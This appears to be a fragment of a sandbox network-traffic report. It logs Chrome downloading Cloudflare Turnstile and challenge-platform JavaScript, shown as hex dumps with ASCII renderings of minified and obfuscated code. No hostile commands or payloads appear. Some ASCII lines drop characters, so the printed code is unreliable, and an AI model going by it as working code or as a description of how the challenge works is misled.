2025-01-14 19:02:20 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:20 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 47521 Connection: close accept-ranges: bytes last-modified: Wed, 08 Jan 2025 13:42:47 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 901fe1376f614374-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:20 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 57 74 28 65 2c 72 2c 6e 2c 6f 2c 63 2c 75 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 75 5d 28 67 29 2c 6c 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 6e 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 72 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 74 68 69 73 2c 6e 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 75 3d 65 2e 61 70 70 6c 79 28 72 2c 6e 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);funct
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 41 72 28 65 2c 72 29 7b 76 61 72 20 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 72 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 6e 2e 70 75 73 68 2e 61 70 70 6c 79 28 6e 2c 6f 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 72 3d 72 21 3d 6e 75 Data Ascii: e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);r&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),n.push.apply(n,o)}return n}function nt(e,r){return r=r!=nu
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 6e 29 29 72 65 74 75 72 6e 20 61 74 28 65 2c 72 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 41 65 28 65 2c 72 29 7b 72 65 74 75 72 6e 20 42 74 28 65 29 7c 7c 6a 74 28 65 2c 72 29 7c 7c 7a 74 28 65 2c 72 29 7c 7c 71 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 55 65 28 65 2c 72 29 7b 76 61 72 20 6e 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 75 5b 30 Data Ascii: ray$/.test(n))return at(e,r)}}function Ae(e,r){return Bt(e)\|\|jt(e,r)\|\|zt(e,r)\|\|qt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ue(e,r){var n={label:0,sent:function(){if(u[0
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 58 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Xt=300020;var De=300030;var Ve=300031;var j;(fu
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 4b 74 3d 33 30 30 2c 24 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 26 26 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 21 3d 3d 22 64 65 66 61 75 6c 74 22 26 26 72 2e 73 65 74 28 22 6f 66 66 6c 61 62 65 6c 22 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 6f 66 66 6c 61 62 65 6c 29 2c 65 2e 70 61 72 61 6d 73 2e 5f 64 65 62 75 67 53 69 74 65 6b 65 79 4f 76 65 72 72 69 64 65 73 2e 63 6c 65 61 Data Ascii: ecute"],e)}var Kt=300,$t=10;function yt(e){var r=new URLSearchParams;if(e.params._debugSitekeyOverrides&&(e.params._debugSitekeyOverrides.offlabel!=="default"&&r.set("offlabel",e.params._debugSitekeyOverrides.offlabel),e.params._debugSitekeyOverrides.clea
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 49 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 2c 75 2c 67 3d 4d 28 4e 72 2c 28 75 3d 28 72 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 72 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 20 30 3a 72 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 21 3d 3d 6e 75 6c 6c 26 26 75 21 3d 3d 76 6f 69 64 20 30 3f 75 3a 22 6e 6f 6e 65 78 69 73 74 65 6e 74 22 29 2c 68 2c 6c 3d 4d 28 6b 72 2c 28 68 3d 28 6e 3d 65 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 29 3d 3d 3d 6e 75 6c 6c 7c 7c 6e 3d 3d 3d 76 6f 69 64 20 30 3f 76 6f 69 64 Data Ascii: innerWidth<400,c=e.state===Ie.FAILURE_FEEDBACK\|\|e.state===Ie.FAILURE_HAVING_TROUBLES,u,g=M(Nr,(u=(r=e.displayLanguage)===null\|\|r===void 0?void 0:r.toLowerCase())!==null&&u!==void 0?u:"nonexistent"),h,l=M(kr,(h=(n=e.displayLanguage)===null\|\|n===void 0?void
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 53 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 53 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d 5b 6e 75 6c 6c 5d 3b 68 2e 70 75 73 68 2e 61 70 70 6c 79 28 68 2c 75 29 3b 76 61 72 20 6c 3d 46 75 6e 63 74 69 6f 6e 2e 62 69 6e 64 2e 61 70 70 6c 79 28 63 2c 68 29 2c 70 3d 6e 65 77 20 6c 3b 72 65 74 75 72 6e 20 67 26 26 5a 28 70 2c 67 2e 70 72 6f 74 6f 74 79 70 65 29 2c 70 7d 2c 53 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 61 72 67 75 6d 65 6e 74 73 29 7d 66 75 6e 63 74 69 6f 6e 20 63 65 28 65 29 7b 72 65 74 75 72 6e 20 63 65 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: urn!1}}function Se(e,r,n){return je()?Se=Reflect.construct:Se=function(c,u,g){var h=[null];h.push.apply(h,u);var l=Function.bind.apply(c,h),p=new l;return g&&Z(p,g.prototype),p},Se.apply(null,arguments)}function ce(e){return ce=Object.setPrototypeOf?Objec
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 73 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 7a 65 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 73 74 61 72 74 73 57 69 74 68 28 48 65 29 3f 65 2e 73 75 62 73 74 72 69 6e 67 28 48 65 2e 6c 65 6e 67 74 68 29 3a 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 51 28 65 29 7b 72 65 74 75 72 6e 22 22 2e 63 6f 6e 63 61 74 28 48 65 29 2e 63 6f 6e 63 61 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 76 61 72 20 65 3d 2f 5c 2f 74 75 72 6e 73 74 69 6c 65 5c 2f 76 30 28 5c 2f 2e 2a 29 3f 5c 2f 61 70 69 5c 2e 6a 73 2f 2c 72 3d 64 6f 63 Data Ascii: ");throw new sr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){return e.startsWith(He)?e.substring(He.length):null}function Q(e){return"".concat(He).concat(e)}function Rt(){var e=/\/turnstile\/v0(\/.*)?\/api\.js/,r=doc
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 34 29 22 3b 76 61 72 20 70 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 70 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 74 61 62 6c 65 2d 63 65 6c 6c 22 2c 70 2e 73 74 79 6c 65 2e 76 65 72 74 69 63 61 6c 41 6c 69 67 6e 3d 22 6d 69 64 64 6c 65 22 2c 70 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 70 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 3b Data Ascii: rmOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style.background="rgba(0,0,0,0.4)";var p=document.createElement("div");p.style.display="table-cell",p.style.verticalAlign="middle",p.style.width="100vw",p.style.height="100vh";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49763	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:02:20 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe1373f1743ff&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:02:20 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:02:20 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 123154 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901fe13b58b87c8d-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:02:20 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 32 32 25 32 30 72 65 6c 25 33 44 25 32 32 6e 6f 6f 70 65 6e 65 72 25 32 30 6e 6f 72 65 66 65 72 72 65 72 25 32 32 25 32 30 68 72 65 66 25 33 44 25 32 32 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 Data Ascii: rowser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%22%20rel%3D%22noopener%20noreferrer%22%20href%3D%22https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 2c 66 45 2c 66 4f 2c 66 5a 2c 67 33 2c 67 34 2c 67 62 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 33 33 29 29 2f 31 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 30 32 29 29 2f 32 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 35 33 36 29 29 2f 33 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 39 39 33 29 29 2f 34 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 34 38 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 37 32 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 31 35 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e Data Ascii: ,fE,fO,fZ,g3,g4,gb,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1533))/1(-parseInt(gI(702))/2)+-parseInt(gI(1536))/3+-parseInt(gI(993))/4+-parseInt(gI(1748))/5(parseInt(gI(1272))/6)+-parseInt(gI(715))/7*(-parseIn
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 68 7d 2c 27 6d 59 6c 67 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4e 6f 50 49 61 27 3a 67 4b 28 38 30 32 29 2c 27 78 73 64 43 6d 27 3a 67 4b 28 31 33 39 31 29 2c 27 69 59 71 69 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 69 56 63 63 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 70 47 61 69 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 79 47 48 55 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 54 4a 53 44 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 48 41 41 43 67 27 3a 66 75 6e 63 Data Ascii: h},'mYlgR':function(h,i){return h(i)},'NoPIa':gK(802),'xsdCm':gK(1391),'iYqik':function(h,i){return h(i)},'iVccq':function(h,i){return h&i},'pGaiT':function(h,i){return h(i)},'yGHUi':function(h,i){return h*i},'TJSDP':function(h,i){return h<i},'HAACg':func
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 5b 5d 2c 4b 3d 30 2c 4c 3d 30 2c 4d 3d 30 3b 64 5b 67 4e 28 37 36 30 29 5d 28 4d 2c 6a 5b 67 4e 28 33 38 34 29 5d 29 3b 4d 2b 3d 31 29 69 66 28 4e 3d 6a 5b 67 4e 28 38 38 34 29 5d 28 4d 29 2c 4f 62 6a 65 63 74 5b 67 4e 28 39 34 30 29 5d 5b 67 4e 28 31 31 36 36 29 5d 5b 67 4e 28 35 33 31 29 5d 28 44 2c 4e 29 7c 7c 28 44 5b 4e 5d 3d 48 2b 2b 2c 45 5b 4e 5d 3d 21 30 29 2c 4f 3d 46 2b 4e 2c 4f 62 6a 65 63 74 5b 67 4e 28 39 34 30 29 5d 5b 67 4e 28 31 31 36 36 29 5d 5b 67 4e 28 35 33 31 29 5d 28 44 2c 4f 29 29 46 3d 4f 3b 65 6c 73 65 20 66 6f 72 28 50 3d 64 5b 67 4e 28 31 30 37 32 29 5d 5b 67 4e 28 38 33 30 29 5d 28 27 7c 27 29 2c 51 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 50 5b 51 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 47 2d 2d 3b 63 6f 6e 74 69 6e Data Ascii: [],K=0,L=0,M=0;d[gN(760)](M,j[gN(384)]);M+=1)if(N=j[gN(884)](M),Object[gN(940)][gN(1166)][gN(531)](D,N)\|\|(D[N]=H++,E[N]=!0),O=F+N,Object[gN(940)][gN(1166)][gN(531)](D,O))F=O;else for(P=d[gN(1072)][gN(830)]('\|'),Q=0;!![];){switch(P[Q++]){case'0':G--;contin
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 7b 66 6f 72 28 52 3d 31 2c 43 3d 30 3b 64 5b 67 4e 28 37 36 30 29 5d 28 43 2c 49 29 3b 4b 3d 64 5b 67 4e 28 33 33 39 29 5d 28 4b 2c 31 29 7c 52 2c 4c 3d 3d 64 5b 67 4e 28 31 34 35 30 29 5d 28 6f 2c 31 29 3f 28 4c 3d 30 2c 4a 5b 67 4e 28 37 32 32 29 5d 28 73 28 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3d 30 2c 43 2b 2b 29 3b 66 6f 72 28 52 3d 46 5b 67 4e 28 31 30 35 39 29 5d 28 30 29 2c 43 3d 30 3b 64 5b 67 4e 28 35 34 36 29 5d 28 31 36 2c 43 29 3b 4b 3d 64 5b 67 4e 28 36 36 38 29 5d 28 4b 3c 3c 31 2e 36 38 2c 64 5b 67 4e 28 33 38 36 29 5d 28 52 2c 31 29 29 2c 64 5b 67 4e 28 31 30 34 30 29 5d 28 4c 2c 6f 2d 31 29 3f 28 4c 3d 30 2c 4a 5b 67 4e 28 37 32 32 29 5d 28 64 5b 67 4e 28 33 36 34 29 5d 28 73 2c 4b 29 29 2c 4b 3d 30 29 3a 4c 2b 2b 2c 52 3e 3e 3d 31 Data Ascii: {for(R=1,C=0;d[gN(760)](C,I);K=d[gN(339)](K,1)\|R,L==d[gN(1450)](o,1)?(L=0,J[gN(722)](s(K)),K=0):L++,R=0,C++);for(R=F[gN(1059)](0),C=0;d[gN(546)](16,C);K=d[gN(668)](K<<1.68,d[gN(386)](R,1)),d[gN(1040)](L,o-1)?(L=0,J[gN(722)](d[gN(364)](s,K)),K=0):L++,R>>=1
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 34 27 3a 4e 3d 64 5b 67 52 28 31 32 37 39 29 5d 28 47 2c 48 29 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 73 77 69 74 63 68 28 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 52 28 31 38 31 31 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 64 5b 67 52 28 33 34 34 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 52 28 33 36 34 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 28 30 3c 4e 3f 31 3a 30 29 2a 46 2c 46 3c 3c 3d 31 29 3b 4f 3d 64 5b 67 52 28 31 31 38 36 29 5d 28 65 2c 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 52 28 31 38 31 31 29 5d 28 32 2c 31 36 29 2c 46 3d 31 3b 46 21 3d Data Ascii: continue;case'4':N=d[gR(1279)](G,H);continue}break}switch(J){case 0:for(J=0,K=Math[gR(1811)](2,8),F=1;F!=K;N=d[gR(344)](G,H),H>>=1,0==H&&(H=j,G=d[gR(364)](o,I++)),J\|=(0<N?1:0)*F,F<<=1);O=d[gR(1186)](e,J);break;case 1:for(J=0,K=Math[gR(1811)](2,16),F=1;F!=
2025-01-14 19:02:20 UTC	1369	IN	Data Raw: 67 4a 28 31 31 30 36 29 5d 3d 27 75 27 2c 65 53 5b 67 4a 28 31 33 37 39 29 5d 3d 27 7a 27 2c 65 53 5b 67 4a 28 35 33 38 29 5d 3d 27 6e 27 2c 65 53 5b 67 4a 28 34 36 30 29 5d 3d 27 49 27 2c 65 53 5b 67 4a 28 31 38 32 30 29 5d 3d 27 62 27 2c 65 54 3d 65 53 2c 65 4d 5b 67 4a 28 31 33 36 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 68 39 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 68 39 3d 67 4a 2c 6f 3d 7b 27 43 49 77 69 79 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 2b 48 7d 2c 27 4b 4a 58 41 6f 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3d 3d 3d 48 7d 2c 27 64 45 69 44 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 47 2c 48 29 7b 72 65 74 75 72 6e 20 47 3c 48 7d 2c 27 52 41 78 48 Data Ascii: gJ(1106)]='u',eS[gJ(1379)]='z',eS[gJ(538)]='n',eS[gJ(460)]='I',eS[gJ(1820)]='b',eT=eS,eM[gJ(1364)]=function(g,h,i,j,h9,o,x,B,C,D,E,F){if(h9=gJ,o={'CIwiy':function(G,H){return 